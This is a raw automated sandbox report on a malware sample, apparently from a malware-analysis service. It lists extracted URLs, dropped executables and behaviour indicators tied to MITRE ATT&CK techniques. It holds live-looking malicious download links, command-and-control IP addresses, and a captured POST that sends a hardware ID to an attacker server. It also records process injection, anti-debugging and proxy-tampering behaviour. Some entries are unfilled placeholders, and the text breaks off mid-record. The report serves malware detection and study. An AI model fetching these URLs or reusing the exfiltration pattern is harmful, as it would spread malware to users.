"https://d3kwb303vesg1m.cloudfront.net/se/com/content/en-global/images/baseline/body-image/crisis-bg/crisis-bg.jpeg" Pattern match: "https://sgtm.kaspersky.de/ns.html?id=GTM-WZ7LJ3" Pattern match: "https://d3kwb303vesg1m.cloudfront.net/fm/site-editor/d0/d055c4b874de483644a4fc567dee706f/processed/desktop-masterhead-image-q93.png" Pattern match: "https://www.kaspersky.com/content/en-global/images/list-check.svg" Pattern match: "https://d3kwb303vesg1m.cloudfront.net/se/com/content/en-global/images/baseline/downloads/standard/standard.svg" Pattern match: "http://www.w3.org/2000/svg" Pattern match: "https://d3kwb303vesg1m.cloudfront.net/se/com/content/en-global/images/baseline/buttoned-carousel/homepage-1/homepage-1.png" Pattern match: "https://usa.kaspersky.com/about" Pattern match: "media.kaspersky.com/tracking/omniture/s_code_single_suite.js" Pattern match: "flyawayaero.net/baf14778c246e15550645e30ba78ce1c.exehttps://monoblocked.com/385118/setup.exehttps://geofaps.com/6779d89b7a368f4f3f340b50a9d18d71.exehttp://47.236.140.86/s/fourt.exehttp://net.geo.opera.c" Pattern match: "https://potatogoose.com/f21e95f1b3314bc18afded205560ea4b/baf14778c246e15550645e30ba78ce1" Pattern match: "http://www.zonealarm.com/Content-Length" Pattern match: "https://usa.kaspersky.com/" Pattern match: "https://d3kwb303vesg1m.cloudfront.net/siterenderer/_next/static/chunks/7047.848e5accd12731b6.js" Pattern match: "https://content.kaspersky-labs.com/fm/site-editor/9f/9f3b3c69d0934062e3aa1825c5000a07/source/desktop-background.jpg,thumbnail:https://content.kaspersky-labs.com/fm/site-editor/9f/9f3b3c69d0934062e3aa1825c5000a07/t" Pattern match: "https://d3kwb303vesg1m.cloudfront.net/fm/site-editor/64/64aa7d6c0a450a226bc2b348a4a60286/processed/ekhomepage-q75.png,type:image/png}],altComponent:./eugene--bg-alt.data.json},master/global/data/content/images/baseline/awards-and-per" Pattern match: "help.kaspersky.com/Legal/Security-Cloud/en-US/KSCRegions.htm\" Pattern match: "https://d3kwb303ve" Pattern match: "http://www.clocx.net/" Heuristic match: "pi.ipify.org" Heuristic match: "pi4.ipify.org" Heuristic match: "pify.org" Pattern match: "http://api.ipify.org/?format=weg" Pattern match: "http://91.92.254.7/scripts/plus.php?ip=" Pattern match: "http://5.42.64.35/syncUpd.exe" Pattern match: "https://iplogger.com/19gVA4" Pattern match: "https://zonealarm.com" Pattern match: "https://www.kaspersky.com" Pattern match: "https://malwarebytes.com" Pattern match: "http://91.92.254.7/scripts/plus.php?ip=67.218.111.202&substr=two&s=ab" Heuristic match: "ipify.org" Pattern match: "api.ipify.org/?format=weg" Pattern match: "http://www.google.com/format=weg" Pattern match: "http://www.virtualbox.org" Pattern match: "http://go.microsoft.com/fwlink/?LinkID=215117" Pattern match: "http://go.microsoft.com/fwlink/?LinkID=223554" Pattern match: "http://support.microsoft.com/kb/4023057" Pattern match: "http://www.cacetech.com" Pattern match: "http://www.winpcap.org" Pattern match: "http://www.autoitscript.com/autoit3" Pattern match: "https://www.wireshark.org" Pattern match: "https://ask.wireshark.org/" Pattern match: "https://www.wireshark.org/download.html" Pattern match: "http://www.adobe.com/support/main.html" Pattern match: "http://www.adobe.com/products/acrobat/readstep.html" Pattern match: "http://www.adobe.com" Pattern match: "http://java.com/help" Pattern match: "http://java.com" Pattern match: "http://java.sun.com" Pattern match: "https://support.mozilla.org" Pattern match: "https://www.mozilla.org" Pattern match: "https://www.mozilla.org/firefox/64.0/releasenotes" Pattern match: "https://npcap.com/#download" Pattern match: "https://npcap.com/" Pattern match: "www.onet[1].xml" Pattern match: "www.embarcadero.com" Heuristic match: "Font.Name" Heuristic match: "BitmapHot.Name" Heuristic match: "BitmapHot.Top" Heuristic match: "BitmapFocused.Name" Heuristic match: "BitmapFocused.Top" Heuristic match: "BitmapPressed.Name" Heuristic match: "BitmapPressed.Top" Heuristic match: "BitmapDisabled.Name" Heuristic match: "BitmapDisabled.Top" Pattern match: "http://go.microsoft.com/fwlink/?LinkID=247104.&Click" Pattern match: "http://go.microsoft.com/fwlink/?LinkID=291337%@font-face" Pattern match: "http://go.microsoft.com/fwlink/?LinkId=291257" Pattern match: "http://go.microsoft.com/fwlink/?LinkId=291257.S" Pattern match: "http://www.w3.org/XML/1998/namespace..The" Pattern match: "http://www.w3.org/2000/xmlns/" Pattern match: "http://www.w3.org/XML/1998/namespace" Pattern match: "http://www.w3.org/1999/xlink.{Text" Pattern match: "http://go.microsoft.com/fwlink/?LinkID=247104" Pattern match: "go.microsoft.com/fwlink/?LinkID=109695&result=block&t=%1&URL=%2" Pattern match: "http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous" Pattern match: "http://schemas.microsoft.com/wbem/wsman/1/config" Pattern match: "http://schemas.microsoft.com/wbem/wsman/1/config/plugin?Name=xyz" Pattern match: "http://schemas.microsoft.com/wbem/wsman/1/config/plugin" Pattern match: "http://schemas.microsoft.com/wbem/wsman/1/config/service" Pattern match: "http://[1::2]:80/wsman" Pattern match: "http://schemas.microsoft.com/wbem/wsman/1/windows/shell" Pattern match: "http://schemas.microsoft.com/wbem/wsman/1/windows/shell/cmd" Heuristic match: "For example, for a target computer name myserver.domain.com, the SPN can be one of the following: WSMAN/myserver.domain.com or WSMAN/*.domain.com" Pattern match: "http://go.microsoft.com/fwlink/?LinkID=624361" Pattern match: "http://go.microsoft.com/fwlink/?LinkID=624359" Pattern match: "http://go.microsoft.com/fwlink/?LinkID=624360" Pattern match: "http://www.w3.org/1999/xhtml" Heuristic match: "treeNode.textContent = oracle" - Source: "00000000-00006224.00000000.67640.02ED0000.00000004.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=215117microsoft" - Source: "00000000-00006224.00000000.67640.02ED0000.00000004.mdmp") Found URL "http://support.microsoft.com/kb/4023057c:\windows\softwaredistribution\download\eb561161694e9fba93423cc2a2678b78\img\update" - Source: "00000000-00006224.00000000.67640.02ED0000.00000004.mdmp") Found URL "http://www.cacetech.comwinpcap" - Source: "00000000-00006224.00000000.67640.02ED0000.00000004.mdmp") Found URL "http://www.autoitscript.com/autoit3autoit" - Source: "00000000-00006224.00000000.67640.02ED0000.00000004.mdmp") Found URL "https://www.wireshark.orgc:\program" - Source: "00000000-00006224.00000000.67640.02ED0000.00000004.mdmp") Found URL "https://ask.wireshark.org/wireshark" - Source: "00000000-00006224.00000000.67640.02ED0000.00000004.mdmp") Found URL "http://www.adobe.com/support/main.htmlc:\windows\installer\" - Source: "00000000-00006224.00000000.67640.02ED0000.00000004.mdmp") Found URL "http://support.microsoft.com/kb/4023057c:\windows\softwaredistribution\download\1eb060e9b9d3cbeb39c83f2a9722294e\img\update" - Source: "00000000-00006224.00000000.67640.02ED0000.00000004.mdmp") Found URL "http://java.com/helpc:\users\hapubws\appdata\locallow\oracle\java\jre1.8.0_161\http://java.comjava" - Source: "00000000-00006224.00000000.67640.02ED0000.00000004.mdmp") Found URL "https://support.mozilla.orgmozilla" - Source: "00000000-00006224.00000000.67640.02ED0000.00000004.mdmp") Found URL "https://npcap.com/" - Source: "00000000-00006224.00000000.67640.02ED0000.00000004.mdmp") Found URL "https://npcap.com/'" - Source: "00000000-00006224.00000000.67640.05470000.00000002.mdmp") Found URL "http://www.w3.org/xml/1998/namespace" - Source: "00000000-00006224.00000000.67640.05470000.00000002.mdmp") Found URL "http://www.virtualbox.orgoracle" - Source: "00000000-00006224.00000001.69560.02ED0000.00000004.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=215117microsoft" - Source: "00000000-00006224.00000001.69560.02ED0000.00000004.mdmp") Found URL "http://support.microsoft.com/kb/4023057c:\windows\softwaredistribution\download\eb561161694e9fba93423cc2a2678b78\img\update" - Source: "00000000-00006224.00000001.69560.02ED0000.00000004.mdmp") Found URL "http://www.cacetech.comwinpcap" - Source: "00000000-00006224.00000001.69560.02ED0000.00000004.mdmp") Found URL "http://www.autoitscript.com/autoit3autoit" - Source: "00000000-00006224.00000001.69560.02ED0000.00000004.mdmp") Found URL "https://www.wireshark.orgc:\program" - Source: "00000000-00006224.00000001.69560.02ED0000.00000004.mdmp") Found URL "https://ask.wireshark.org/wireshark" - Source: "00000000-00006224.00000001.69560.02ED0000.00000004.mdmp") Found URL "http://www.adobe.com/support/main.htmlc:\windows\installer\" - Source: "00000000-00006224.00000001.69560.02ED0000.00000004.mdmp") Found URL "http://support.microsoft.com/kb/4023057c:\windows\softwaredistribution\download\1eb060e9b9d3cbeb39c83f2a9722294e\img\update" - Source: "00000000-00006224.00000001.69560.02ED0000.00000004.mdmp") Found URL "http://java.com/helpc:\users\hapubws\appdata\locallow\oracle\java\jre1.8.0_161\http://java.comjava" - Source: "00000000-00006224.00000001.69560.02ED0000.00000004.mdmp") Found URL "https://support.mozilla.orgmozilla" - Source: "00000000-00006224.00000001.69560.02ED0000.00000004.mdmp") Found URL "https://npcap.com/" - Source: "00000000-00006224.00000001.69560.02ED0000.00000004.mdmp") Found URL "https://npcap.com/oracle" - Source: "00000000-00006224.00000002.71481.02ED0000.00000004.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=215117microsoft" - Source: "00000000-00006224.00000002.71481.02ED0000.00000004.mdmp") Found URL "http://support.microsoft.com/kb/4023057c:\windows\softwaredistribution\download\eb561161694e9fba93423cc2a2678b78\img\update" - Source: "00000000-00006224.00000002.71481.02ED0000.00000004.mdmp") Found URL "http://www.cacetech.comwinpcap" - Source: "00000000-00006224.00000002.71481.02ED0000.00000004.mdmp") Found URL "http://www.autoitscript.com/autoit3autoit" - Source: "00000000-00006224.00000002.71481.02ED0000.00000004.mdmp") Found URL "https://www.wireshark.orgc:\program" - Source: "00000000-00006224.00000002.71481.02ED0000.00000004.mdmp") Found URL "https://ask.wireshark.org/wireshark" - Source: "00000000-00006224.00000002.71481.02ED0000.00000004.mdmp") Found URL "http://www.adobe.com/support/main.htmlc:\windows\installer\" - Source: "00000000-00006224.00000002.71481.02ED0000.00000004.mdmp") Found URL "http://support.microsoft.com/kb/4023057c:\windows\softwaredistribution\download\1eb060e9b9d3cbeb39c83f2a9722294e\img\update" - Source: "00000000-00006224.00000002.71481.02ED0000.00000004.mdmp") Found URL "http://java.com/helpc:\users\hapubws\appdata\locallow\oracle\java\jre1.8.0_161\http://java.comjava" - Source: "00000000-00006224.00000002.71481.02ED0000.00000004.mdmp") Found URL "https://support.mozilla.orgmozilla" - Source: "00000000-00006224.00000002.71481.02ED0000.00000004.mdmp") Found URL "https://npcap.com/" - Source: "00000000-00006224.00000002.71481.02ED0000.00000004.mdmp") Found URL "https://npcap.com/ Microsoft Corporation\"\n \"nsn192A.tmp.exe\" was detected as \"VC8 -> Microsoft Corporation\"\n \"Zip.dll\" was detected as \"Visual C++ 2005 DLL -> Microsoft\"\n \"Checker.dll\" was detected as \"Visual C++ 2005 DLL -> Microsoft\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"level":"informative","category":"Unusual Characteristics","name":"Possibly uses a Windows Server utility","description":"\"#c:\\windows\\system32\\licensingui.exe\" (Indicator: \"licensingui.exe\")\n \"WWAHost.exe.mui\" (Indicator: \"wwahost.exe\")","origin":"File/Memory","relevance":10,"id":"string-65","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\"CasPol.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")\n \"CasPol.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")\n \"pnyhlJ15kIGAuyP1DTRWyj5L.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")\n \"pnyhlJ15kIGAuyP1DTRWyj5L.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")\n \"tADoao6OOjGypodPFPdb9O4N.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")\n \"BroomSetup.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")\n \"BroomSetup.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")\n \"nsn192A.tmp.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)","description":"\"CasPol.exe\" is allocating memory with PAGE_GUARD access rights (Handle: 4294967295); (PID: 736)","origin":"API Call","mitre_attack_id":"T1562.001","relevance":10,"id":"api-1","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"PE file has unusual entropy sections","description":"UPX1\n .text with unusual entropies 7.9993199206\n 7.20757350899","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":3,"id":"static-6","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"PE file is packed with UPX","description":"\"bb7917ed8063b9fd1cf3ea57fed87a5a\" has a section named \"UPX0\"\n \"bb7917ed8063b9fd1cf3ea57fed87a5a\" has a section named \"UPX1\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-7","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Tries to detect debugger using ProcessDebugPort","description":"\"pnyhlJ15kIGAuyP1DTRWyj5L.exe queries ProcessDebugPort (UID: 1216)","origin":"API Call","mitre_attack_id":"T1622","relevance":5,"id":"api-238","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"level":"suspicious","category":"Environment Awareness","name":"Possibly tries to evade analysis by sleeping many times","description":"\"CasPol.exe\" (Thread ID: 3024) slept \"525\" times (threshold: 500)","origin":"API Call","mitre_attack_id":"T1497.003","relevance":10,"id":"api-47","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"level":"suspicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"29/72 Antivirus vendors marked sample as malicious (40% detection rate)","origin":"External System","id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"level":"suspicious","category":"General","name":"POSTs data to a webserver","description":"\"POST /3886d2276f6914c4.php HTTP/1.1\nContent-Type: multipart/form-data; boundary=----HCFCFHJDBKJKEBFHJEHI\nHost: 77.91.76.36\nContent-Length: 214\nConnection: Keep-Alive\nCache-Control: no-cache\" with payload::==> \"------HCFCFHJDBKJKEBFHJEHI\nContent-Disposition: form-data; name=\"hwid\"\n\nA068533DF54E758809014\n------HCFCFHJDBKJKEBFHJEHI\nContent-Disposition: form-data; name=\"build\"\n\ndefault3\n------HCFCFHJDBKJKEBFHJEHI--\" HTTP/1.1 200 OK\nServer: nginx/1.18.0 (Ubuntu)\nDate: Sat\n 23 Dec 2023 06:02:12 GMT\nContent-Type: text/html; charset=UTF-8\nContent-Length: 8\nConnection: keep-alive with response body ==>596D78765932733D.......","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":5,"id":"network-4","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"level":"suspicious","category":"General","name":"Reads configuration files (.ini files)","description":"$59","origin":"API Call","mitre_attack_id":"T1083","relevance":4,"id":"api-6","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Drops executable files","description":"$5a","origin":"Binary File","mitre_attack_id":"T1105","relevance":10,"id":"binary-1","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Writes a PE file header to disc","description":"$5b","origin":"API Call","mitre_attack_id":"T1105","relevance":10,"id":"api-43","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"$5c","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"level":"suspicious","category":"Network Related","name":"Uses a browser-related user-agent without launching browser","description":"Found user-agent(s): NSIS_Inetc (Mozilla)","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":10,"id":"network-22","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"level":"suspicious","category":"Ransomware/Banking","name":"Checks warning level of secure to non-secure traffic redirection","description":"\"pnyhlJ15kIGAuyP1DTRWyj5L.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"WARNONHTTPSTOHTTPREDIRECT\")\n \"nsn192A.tmp.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"WARNONHTTPSTOHTTPREDIRECT\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":7,"id":"registry-9","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Calls an API typically used for keylogging","description":"\"BroomSetup.exe\" called \"GetKeyState\" with parameters {\"nVirtKey\": \"18\"}","origin":"API Call","mitre_attack_id":"T1056.001","relevance":10,"id":"api-40","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Found an instant messenger related domain","description":"\"ata\":{\"$id\":\"schema/plugin/@kl.content.Baseline.MediaCardsFullWidth.pluginDataEmbedded.schema.json\"\n\"display\":\"none\"\n\"pluginId\":\"Business\"}}\n{\"plugin\":\"../../../plugins/@kl.content.Baseline.NumberBragger/homepage-dark.plugin.data.json\"\n\"pluginStyle\":{\"anchorId\" (Indicator: \"line.me\")","origin":"File/Memory","relevance":10,"id":"string-61","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Found system commands related strings","description":"$5d","origin":"File/Memory","mitre_attack_id":"T1082","relevance":3,"id":"string-126","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"level":"suspicious","category":"System Destruction","name":"Marks file for deletion","description":"\"pnyhlJ15kIGAuyP1DTRWyj5L.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\nsxA43.tmp\" for deletion\n \"pnyhlJ15kIGAuyP1DTRWyj5L.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\nstCE5.tmp\" for deletion\n \"pnyhlJ15kIGAuyP1DTRWyj5L.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\nstCE4.tmp\" for deletion\n \"tADoao6OOjGypodPFPdb9O4N.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\nsk104E.tmp\" for deletion\n \"tADoao6OOjGypodPFPdb9O4N.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\nsz10AC.tmp\" for deletion\n \"tADoao6OOjGypodPFPdb9O4N.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\nsf111B.tmp\" for deletion\n \"tADoao6OOjGypodPFPdb9O4N.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\nsz10AC.tmp\\Checker.dll\" for deletion\n \"tADoao6OOjGypodPFPdb9O4N.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\nsz10AC.tmp\\Zip.dll\" for deletion","origin":"API Call","mitre_attack_id":"T1070.004","relevance":10,"id":"api-26","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"level":"suspicious","category":"System Destruction","name":"Opens file with deletion access rights","description":"\"pnyhlJ15kIGAuyP1DTRWyj5L.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\nsxA43.tmp\" with delete access\n \"pnyhlJ15kIGAuyP1DTRWyj5L.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\nstCE5.tmp\" with delete access\n \"pnyhlJ15kIGAuyP1DTRWyj5L.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\nstCE4.tmp\" with delete access\n \"tADoao6OOjGypodPFPdb9O4N.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\nsk104E.tmp\" with delete access\n \"tADoao6OOjGypodPFPdb9O4N.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\nsz10AC.tmp\" with delete access\n \"tADoao6OOjGypodPFPdb9O4N.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\nsf111B.tmp\" with delete access\n \"tADoao6OOjGypodPFPdb9O4N.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\nsz10AC.tmp\\Checker.dll\" with delete access\n \"tADoao6OOjGypodPFPdb9O4N.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\nsz10AC.tmp\\Zip.dll\" with delete access","origin":"API Call","mitre_attack_id":"T1070.004","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"level":"suspicious","category":"System Security","name":"Modifies proxy settings","description":"\"CasPol.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\"; Value: \"01000000\")\n \"pnyhlJ15kIGAuyP1DTRWyj5L.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\"; Value: \"01000000\")\n \"nsn192A.tmp.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\"; Value: \"01000000\")","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"CRC value set in PE header does not match actual value","description":"\"EQxweFwDefVKEdjRSJJROzCN.exe\" claimed CRC 0 while the actual is CRC 869399\n \"ClocX.exe\" claimed CRC 2124843 while the actual is CRC 2405305\n \"nsn192A.tmp.exe\" claimed CRC 365659 while the actual is CRC 2124843\n \"Zip.dll\" claimed CRC 124952 while the actual is CRC 365659\n \"Checker.dll\" claimed CRC 45499 while the actual is CRC 55290","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-0","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Entrypoint in PE header is within an uncommon section","description":"\"bb7917ed8063b9fd1cf3ea57fed87a5a\" has an entrypoint in section \"UPX1\"","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-4","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Imports suspicious APIs","description":"$5e","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-1","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"level":"malicious","category":"Anti-Detection/Stealthyness","name":"Creates a process in suspended mode (likely for process injection)","description":"\"CasPol.exe\" called \"CreateProcessW\" with parameter \"\"%USERPROFILE%\\Pictures\\cX0CFSimOYMlAO2cu39CWNQ6.exe\"\" - (UID: 00000000-00000736)\n \"CasPol.exe\" called \"CreateProcessW\" with parameter \"\"%USERPROFILE%\\Pictures\\0XuD4vX5Sz9Si5kHJ98Ucp7k.exe\"\" - (UID: 00000000-00000736)\n \"CasPol.exe\" called \"CreateProcessW\" with parameter \"\"%USERPROFILE%\\Pictures\\pnyhlJ15kIGAuyP1DTRWyj5L.exe\"\" - (UID: 00000000-00000736)\n \"CasPol.exe\" called \"CreateProcessW\" with parameter \"\"%USERPROFILE%\\Pictures\\tADoao6OOjGypodPFPdb9O4N.exe\"\" - (UID: 00000000-00000736)","origin":"API Call","mitre_attack_id":"T1055","relevance":10,"id":"api-129","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"level":"malicious","category":"Anti-Detection/Stealthyness","name":"Queries firmware table information (may be used to fingerprint/evade)","description":"\"tADoao6OOjGypodPFPdb9O4N.exe\" at 00000000-00003068-00000C13-51466356\n \"tADoao6OOjGypodPFPdb9O4N.exe\" at 00000000-00003068-00000C13-51470107","origin":"API Call","mitre_attack_id":"T1120","relevance":10,"id":"api-65","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a large number of Antivirus engines","description":"29/72 Antivirus vendors marked sample as malicious (40% detection rate)","origin":"External System","relevance":10,"id":"avtest-3","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a trusted Antivirus engine","description":"No specific details available","origin":"External System","relevance":10,"id":"avtest-5","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"level":"malicious","category":"General","name":"The analysis extracted a file that was identified as malicious","description":"18/72 Antivirus vendors marked dropped file \"EQxweFwDefVKEdjRSJJROzCN.exe\" as malicious (classified as \"Evo\" with 25% detection rate)\n 34/74 Antivirus vendors marked dropped file \"7KVCFfyDvEerh4UVg4DysCjN.exe\" as malicious (classified as \"Gen:Variant.Nemesis\" with 45% detection rate)\n 34/72 Antivirus vendors marked dropped file \"nsn192A.tmp.exe\" as malicious (classified as \"Ransom.Save\" with 47% detection rate)\n 18/72 Antivirus vendors marked dropped file \"tADoao6OOjGypodPFPdb9O4N.exe\" as malicious (classified as \"Evo\" with 25% detection rate)\n 34/74 Antivirus vendors marked dropped file \"pnyhlJ15kIGAuyP1DTRWyj5L.exe\" as malicious (classified as \"Gen:Variant.Nemesis\" with 45% detection rate)\n 34/72 Antivirus vendors marked dropped file \"syncUpd_1_.exe\" as malicious (classified as \"Ransom.Save\" with 47% detection rate)","origin":"Binary File","mitre_attack_id":"T1204.002","relevance":10,"id":"binary-11","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"level":"malicious","category":"General","name":"The analysis spawned a process that was identified as malicious","description":"34/74 Antivirus vendors marked spawned process \"pnyhlJ15kIGAuyP1DTRWyj5L.exe\" (PID: 1216) as malicious (classified as \"Gen:Variant.Nemesis\" with 45% detection rate)\n 18/72 Antivirus vendors marked spawned process \"tADoao6OOjGypodPFPdb9O4N.exe\" (PID: 3068) as malicious (classified as \"Evo\" with 25% detection rate)\n 21/72 Antivirus vendors marked spawned process \"BroomSetup.exe\" (PID: 6224) as malicious (classified as \"Malgent\" with 29% detection rate)\n 34/72 Antivirus vendors marked spawned process \"nsn192A.tmp.exe\" (PID: 1032) as malicious (classified as \"Ransom.Save\" with 47% detection rate)","origin":"Monitored Target","mitre_attack_id":"T1204.002","relevance":10,"id":"target-58","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"level":"malicious","category":"Installation/Persistence","name":"Sets a computer-based training (CBT) hook","description":"\"BroomSetup.exe\" sets a callback procedure (5f8e78) using filter \"WH_CBT\" for process ID: 1850","origin":"API Call","mitre_attack_id":"T1056.004","relevance":10,"id":"api-74","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"level":"malicious","category":"Installation/Persistence","name":"Writes data to a remote process","description":"$5f","origin":"API Call","mitre_attack_id":"T1055","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"level":"malicious","category":"Network Related","name":"Contacts many different hosts","description":"Contacted 18 (or more) hosts in at least 0 different countries","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":9,"id":"network-17","sources":[{"report_type":"sandbox","report_id":"6586772b674da95430052127"}]},{"level":"malicious","category":"Network Related","name":"Found a reference to an external IP address lookup service","description":"\"api.ipify.org\" (Indicator: \"api.ipify.org\"; File: \"PCAP\")\n \"GET /?format=weg HTTP/1.1User-Agent: NSIS_Inetc (Mozilla)Host: api.ipify.orgConnection: Keep-AliveCache-Control: no-cache\" (Indicator: \"api.ipify.org\"; File: \"PCAP\")\n \"iplogger.com\" (Indicator: \"iplogger.com\"; File: \"PCAP\")\n \"http://api.ipify.org/?format=weg\" (Indicator: \"api.ipify.org\"; File: \"00000000-00001216.00000000.67526.03060000.00000004.mdmp\")\n \"https://iplogger.com/19gVA4\" (Indicator: \"iplogger.com\"; File: \"00000000-00001216.00000000.67526.03060000.00000004.mdmp\")\n \"api.ipify.org\" (Indicator: \"api.ipify.org\"; File: 